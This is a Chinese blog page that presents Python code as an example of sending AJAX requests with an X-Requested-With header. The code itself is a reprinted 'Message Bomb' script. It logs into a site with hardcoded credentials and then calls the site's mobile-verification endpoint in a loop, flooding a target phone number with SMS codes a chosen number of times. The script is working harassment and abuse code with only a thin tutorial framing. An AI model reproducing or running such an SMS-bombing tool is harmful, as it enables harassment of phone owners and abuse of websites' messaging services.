python模拟ajax请求_python 如何发送ajax请求获取数据。

#-*-coding:utf-8-*-

#!/usr/bin/python

#

# Message Bomb v1.0

#From: sb.f4ck.net By: xfkxfk

#

import json

import urllib2

import sys

def request_ajax_url(url,body,referer=None,cookie=None,**headers):

req = urllib2.Request(url)

req.add_header('Content-Type', 'application/json')

req.add_header('X-Requested-With','XMLHttpRequest')

if cookie:

req.add_header('Cookie',cookie)

if referer:

req.add_header('Referer',referer)

if headers:

for k in headers.keys():

req.add_header(k,headers[k])

postBody = json.dumps(body)

response = urllib2.urlopen(req, postBody)

if response:

return response

def run():

import time

"use username:xfkxfk; use password:123456"

login_url = 'http://www.xx.com/member/Login.aspx'

login_body = {"action":"login","UserName":"xfkxfk","Password":"123456","AutomaticLogin":False}

login_referer = "http://www.xx.com/member/Login.aspx?ReturnUrl=aHR0cDovL3d3dy5sdXNlbi5jb20vRGVmYXVsdC5hc3B4"

url = 'http://www.xx.com/Member/MobileValidate.aspx'

referer = "http://www.xx.com/Member/ModifyMobileValidate.aspx"

headers = {}

response = request_ajax_url(login_url,login_body,login_referer)

if response.read() == "1":

print " Login Success !!!"

if response.headers.has_key('set-cookie'):

set_cookie = response.headers['set-cookie']

else :

print " Get set-cookie Failed !!! May Send Messages Failed ~~~"

if len(sys.argv) < 3:

print "\nUsage: python " + sys.argv[0] + "mobile_number" + "count\n"

sys.exit()

mobile_number = sys.argv[1]

count = sys.argv[2]

body = {"action":"GetValidateCode","Mobile":mobile_number}

i=0

while i < int(count):

response = request_ajax_url(url,body,referer,set_cookie)

i=i+1

if response.read() == "发送成功":

print " Send " + count + " Messages To " + mobile_number + " !!!"

if __name__ == "__main__":

run()

摘自网络的代码。关键在于把头的请求类型设置成XMLHttpRequest

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值